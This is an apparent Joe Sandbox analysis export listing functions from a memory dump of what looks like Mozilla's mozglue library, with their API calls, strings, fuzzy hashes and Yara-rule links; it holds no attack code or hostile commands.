String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 4afb04893a7a2c9d2700f3b7054f17e09956e6468bb29c74f36e89c26c2ca08a
Instruction ID: 87955bcbfcd44f6945dedfedda5059534e3cceeaf615caab0439211fe2c9c40c
Opcode Fuzzy Hash: 4afb04893a7a2c9d2700f3b7054f17e09956e6468bb29c74f36e89c26c2ca08a
Instruction Fuzzy Hash: 8FA2AE71A087808FC725DF28C49079FBBE5BFC9318F048A2DE89997750DB709949CB92

Function 6CAD6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAD6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAD6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAD6D26

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAD6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAD6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAD6D73
free.MOZGLUE(00000000), ref: 6CAD6D80
CertGetNameStringW.CRYPT32 ref: 6CAD6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAD6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAD6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAD6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAD6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAD6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAD6E34
CreateFileW.KERNEL32 ref: 6CAD6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAD6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAD6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAD709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAD7103
free.MOZGLUE(00000000), ref: 6CAD7153
CloseHandle.KERNEL32(?), ref: 6CAD7176
__Init_thread_footer.LIBCMT ref: 6CAD7209
__Init_thread_footer.LIBCMT ref: 6CAD723A
__Init_thread_footer.LIBCMT ref: 6CAD726B
__Init_thread_footer.LIBCMT ref: 6CAD729C
__Init_thread_footer.LIBCMT ref: 6CAD72DC
__Init_thread_footer.LIBCMT ref: 6CAD730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAD73C2
VerSetConditionMask.NTDLL ref: 6CAD73F3
VerSetConditionMask.NTDLL ref: 6CAD73FF
VerSetConditionMask.NTDLL ref: 6CAD7406
VerSetConditionMask.NTDLL ref: 6CAD740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAD741A
moz_xmalloc.MOZGLUE(?), ref: 6CAD755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAD7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAD7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAD7598
free.MOZGLUE(00000000), ref: 6CAD75AC

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CAD72C8
wintrust.dll, xrefs: 6CAD72CD
SHA256, xrefs: 6CAD6EC0
(, xrefs: 6CAD768A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 736c3ff8ccf7bd65b9692feeaced295589a78b1654f79684b121dd6ffe301adb
Instruction ID: 522017df4d091ed291d92498537a368aea462c5c1e0578b158cec4a48a762c4f
Opcode Fuzzy Hash: 736c3ff8ccf7bd65b9692feeaced295589a78b1654f79684b121dd6ffe301adb
Instruction Fuzzy Hash: 4852E1B1A042549BEB21DF24CC84BAA77B9FB45308F158599F909EB644DB30BEC4CF91

Function 6CAF6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAF7019
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAF7061
EnterCriticalSection.KERNEL32(?), ref: 6CAF71A4
LeaveCriticalSection.KERNEL32(?), ref: 6CAF721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CAF723E
EnterCriticalSection.KERNEL32(?), ref: 6CAF726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CAF72B2
LeaveCriticalSection.KERNEL32(?), ref: 6CAF733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CAF73E8
LeaveCriticalSection.KERNEL32(?), ref: 6CAF961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAF9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAF9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAF964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAF96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAF96DB
AcquireSRWLockExclusive.KERNEL32(6CB4E804), ref: 6CAF9747
GetSystemInfo.KERNEL32(?), ref: 6CAF9792
__Init_thread_footer.LIBCMT ref: 6CAF97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CB4E810,00000040), ref: 6CAF97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4E7B8,00001388), ref: 6CAF9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4E744,00001388), ref: 6CAF984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4E784,00001388), ref: 6CAF9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4E7DC,00001388), ref: 6CAF9895

Strings

<jemalloc>, xrefs: 6CAF9B33, 6CAF9BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAF99A8
MOZ_CRASH(), xrefs: 6CAF9B42
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAF99D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAF99BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAF9993
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAF9BF4
Compile-time page size does not divide the runtime one., xrefs: 6CAF9B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAF9933, 6CAF9A33, 6CAF9A4E
MALLOC_OPTIONS, xrefs: 6CAF97CA

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: d6d4d82cb93d297b02fcbac7269b4df437e1cd3e5c8ffb4eab2705bb30aa3395
Instruction ID: 9eb76541e7f8d1d7542351745fd65bb9bda30ea3e90cd3d862bb1a65678c018a
Opcode Fuzzy Hash: d6d4d82cb93d297b02fcbac7269b4df437e1cd3e5c8ffb4eab2705bb30aa3395
Instruction Fuzzy Hash: F7534C71A057018FD714CF29C580619FBE1BF8A328F29C66DE8798B795D771E882CB81

Function 6CB00DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB00F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB00F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB00FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB00FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB01031
LeaveCriticalSection.KERNEL32(?), ref: 6CB010D0
EnterCriticalSection.KERNEL32(?), ref: 6CB0117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CB01C39
EnterCriticalSection.KERNEL32(6CB4E744), ref: 6CB03391
LeaveCriticalSection.KERNEL32(6CB4E744), ref: 6CB033CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB03431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB03437

Strings

<jemalloc>, xrefs: 6CB03941, 6CB039F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB037A8
MOZ_CRASH(), xrefs: 6CB03950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB037D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB037BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB03793
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB03A02
Compile-time page size does not divide the runtime one., xrefs: 6CB03946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB03559, 6CB0382D, 6CB03848
MALLOC_OPTIONS, xrefs: 6CB035FE

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 455f8dbb4cc4bdab3dc115bae8c847511bafcb1a500b2cadc004671fa85b8850
Instruction ID: e39592860f89bc1c67a266811d3e0c2deb17ea1152358770162fc3322d9742be
Opcode Fuzzy Hash: 455f8dbb4cc4bdab3dc115bae8c847511bafcb1a500b2cadc004671fa85b8850
Instruction Fuzzy Hash: 2D536A71B057818FC708CF28C54461ABBE1FF85328F29C6ADE8699B791D771E845CB82

Function 6CB255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CAFE1A5), ref: 6CB25606
LoadLibraryW.KERNEL32(gdi32,?,6CAFE1A5), ref: 6CB2560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB25633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB2563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB2566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB2567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB25696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB25716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB2572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB25748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB25761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB2577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB25793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB257FF

Strings

LoadCursorW, xrefs: 6CB25774
CreateWindowExW, xrefs: 6CB256C5
StretchDIBits, xrefs: 6CB257CC
MonitorFromWindow, xrefs: 6CB2578D
SetWindowLongPtrW, xrefs: 6CB257B7
user32, xrefs: 6CB25601
AreDpiAwarenessContextsEqual, xrefs: 6CB25637
GetDpiForWindow, xrefs: 6CB25690
GetWindowDC, xrefs: 6CB25710
EnableNonClientDpiScaling, xrefs: 6CB25666
gdi32, xrefs: 6CB2560A
RegisterClassW, xrefs: 6CB256AC
GetMonitorInfoW, xrefs: 6CB257A2
GetThreadDpiAwarenessContext, xrefs: 6CB2562D
DeleteObject, xrefs: 6CB257F9
ShowWindow, xrefs: 6CB256DE
FillRect, xrefs: 6CB25729
GetSystemMetricsForDpi, xrefs: 6CB25677
SetWindowPos, xrefs: 6CB256F7
LoadIconW, xrefs: 6CB2575B
ReleaseDC, xrefs: 6CB25742
CreateSolidBrush, xrefs: 6CB257E4

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: ed0b7f1819fce01f2144297127fa059aa978a17618caaba18a67cb763d6ce43d
Instruction ID: b07d3a5d2cd33eebbbef0d8f350eab43cd2062eadff64f9e4b9c712b452466c9
Opcode Fuzzy Hash: ed0b7f1819fce01f2144297127fa059aa978a17618caaba18a67cb763d6ce43d
Instruction Fuzzy Hash: 9C518574A097926BDB01AF3D8D04D3A3BB8FB46259750C829E915E7A0DEB78CC048F65

Function 6CB234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23EE2

Part of subcall function 6CB26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB261DD
Part of subcall function 6CB26180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB2622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB24157

Part of subcall function 6CB26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB26250
Part of subcall function 6CB26180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB26292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB24448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB2484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB24863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB24878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB24896
free.MOZGLUE ref: 6CB2489F

Strings

, xrefs: 6CB24CD2

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: ae2b30b7326afa79553ea1b2b15de5f080b5915db6d59416ea8e2be54dd181ef
Instruction ID: 847a2748bae028387d7837840c2acc05314b1d6e0b52db13796dc55b66cf5278
Opcode Fuzzy Hash: ae2b30b7326afa79553ea1b2b15de5f080b5915db6d59416ea8e2be54dd181ef
Instruction Fuzzy Hash: BBF24A74908B808FC725DF28C0846AAFBF1FF89358F118A5ED99D97711DB319896CB42

Function 6CAD64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAD64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAD64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAD6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAD6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAD652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD671C
GetCurrentProcess.KERNEL32 ref: 6CAD6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAD672F
GetCurrentProcess.KERNEL32 ref: 6CAD6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAD6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAD6A80
GetSystemInfo.KERNEL32(?), ref: 6CAD6ABE
__Init_thread_footer.LIBCMT ref: 6CAD6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD6AF7

Strings

nvd3d9wrap.dll, xrefs: 6CAD6500
nvdxgiwrap.dll, xrefs: 6CAD6513
_etoured.dll, xrefs: 6CAD64ED
detoured.dll, xrefs: 6CAD64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAD6798
user32.dll, xrefs: 6CAD6526

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: dbfd10ac5d38fd5aeb6ddb7fd1efaf71bc446e94efc4b3ae995c27b8d2d55127
Instruction ID: c3c03d06e997d4562851c7717ddf4dbfb23290b9a9e788dcb5531c9524655661
Opcode Fuzzy Hash: dbfd10ac5d38fd5aeb6ddb7fd1efaf71bc446e94efc4b3ae995c27b8d2d55127
Instruction Fuzzy Hash: C2F1E1709452298FCB20DF64CD88B9AB7B5AF45318F1986D9E809A7741D731BEC8CF90

Function 6CAF60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAF60C9
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAF610D
EnterCriticalSection.KERNEL32(?), ref: 6CAF618C
LeaveCriticalSection.KERNEL32(?), ref: 6CAF61F9

Strings

<jemalloc>, xrefs: 6CAF6AA9, 6CAF6B59
MOZ_CRASH(), xrefs: 6CAF6AB8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAF6B6A
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAF6BC7, 6CAF6F97, 6CAF6FB2
Compile-time page size does not divide the runtime one., xrefs: 6CAF6AAE
MALLOC_OPTIONS, xrefs: 6CAF6888

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7abb7c848f967662b325f804a50616138803620ca373e4abc1a2ea0b113f5eb0
Instruction ID: 126a0ebe55c8c3600db9f433c977e5460c00d347ab32998983113d76c8bb8333
Opcode Fuzzy Hash: 7abb7c848f967662b325f804a50616138803620ca373e4abc1a2ea0b113f5eb0
Instruction Fuzzy Hash: 24A2AD71A096418FD708CF28C550719BBF1FB85328F29C66DE8A9DB795C771E882CB81

Function 6CB2C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB2C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB2C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB2C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB2CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB2DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2E472

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 94d63d9dcd3ed2653e87f0419f73a91f3248e5e06a3955136f9687a2d5f0fa3b
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
